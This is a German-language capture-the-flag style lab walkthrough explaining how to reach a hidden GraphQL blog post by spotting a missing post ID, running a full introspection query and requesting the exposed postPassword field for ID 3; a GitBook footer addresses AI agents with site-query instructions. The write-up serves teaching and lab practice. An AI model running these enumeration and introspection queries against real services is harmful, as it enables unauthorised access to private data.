> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/graphql/accessing-private-graphql-posts.md).

# Zugriff auf private GraphQL-Posts

### Zugriff auf private GraphQL-Beiträge

#### Ziel des Labs

Die Blog-Seite enthält einen Artikel **verborgen** (nicht gelistet) mit einem **geheimen Passwort**. Um das Lab zu verifizieren, müssen Sie **diesen privaten Beitrag finden** und dann **das Passwort übermitteln**.

### 1) GraphQL-Verkehrsaufklärung

Beim Aufrufen der Haupt-Blogseite wird im Hintergrund eine GraphQL-Anfrage gesendet (über die **Netzwerk** oder **Burp** Registerkarte):

* Endpunkt: `POST /GraphQL/v1`
* Operation: `getBlogSummaries`

<figure><img src="/files/0864d9a7de8d008e7cc6720d096e1e6dcb460510" alt=""><figcaption></figcaption></figure>

Beispiel einer abgefangenen Anfrage:

{% code overflow="wrap" expandable="true" %}

```graphql
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

{% endcode %}

Diese Abfrage gibt sichtbare Beiträge und ihre `id`. Es fällt auf, dass die Liste Seiten/Beiträge **1, 2, 4 und 5**enthält, aber **das Fehlen von 3** → sehr guter Hinweis auf einen **privaten / verborgenen Beitrag**.

<figure><img src="/files/c7154c5bece57442afafad74db35bc8e5270d41f" alt=""><figcaption></figcaption></figure>

#### 2) Wiederherstellung eines Beitrags über die ID

Wenn Sie einen Artikel öffnen, sendet die Anwendung eine weitere Abfrage, die den vollständigen Inhalt anhand der ID abruft:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 2
  }
}
```

Das bestätigt, dass wir **auflisten** können, indem wir `variables.id`.

#### 3) Introspektion zum Entdecken des Diagramms

<figure><img src="/files/9c0addbfafee71b7e9ed92ea711df7ae255019c6" alt=""><figcaption></figcaption></figure>

Um alle verfügbaren Eigenschaften zu sehen, verwenden wir die**Introspektionsabfrage** (z. B. über **InQL**, **GraphQL-Tab**, oder eine Standard-Payload):

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            Name
        }
        mutationType {
            Name
        }
        subscriptionType {
            Name
        }
        types {
            ...FullType
        }
        directives {
            Name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    Name
    description
    fields(includeDeprecated: true) {
        Name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        Name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    Name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    Name
    ofType {
        kind
        Name
        ofType {
            kind
            Name
            ofType {
                kind
                Name
            }
        }
    }
}gra
```

Antwort: **200 OK**, sehr groß (über 1000 Zeilen).

<figure><img src="/files/2d9f12ebb11ee4e2bb3409216790462b2325c08b" alt=""><figcaption></figcaption></figure>

Die Analyse zeigt ein interessantes Feld: **`postPassword`**.

<figure><img src="/files/3d2a7201cf7b4ae3237261f91f802691f12e6b0a" alt=""><figcaption></figcaption></figure>

### (4) Extraktion des verborgenen Beitrags (ID 3)

Neustart `getBlogPost` durch Hinzufügen des `postPassword` Felds, dann zielen Sie auf die fehlende ID (**3**):

```graphql
    query getBlogPost($id: Int!) {
        getBlogPost(id: $id) {
            image
            title
            author
            date
            paragraphs
            postPassword
        }
    }
```

Variablen :

```json
{
    "id":3
}
```

<figure><img src="/files/5fdb39b77e60a1e17dd4149e3793444e3b391f57" alt=""><figcaption></figcaption></figure>

Ergebnis: Die Antwort enthält den Wert von **`postPassword`** → c

<figure><img src="/files/091d1fe63d4019c12ea3d370e1af06a188b10e1b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/graphql/accessing-private-graphql-posts.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
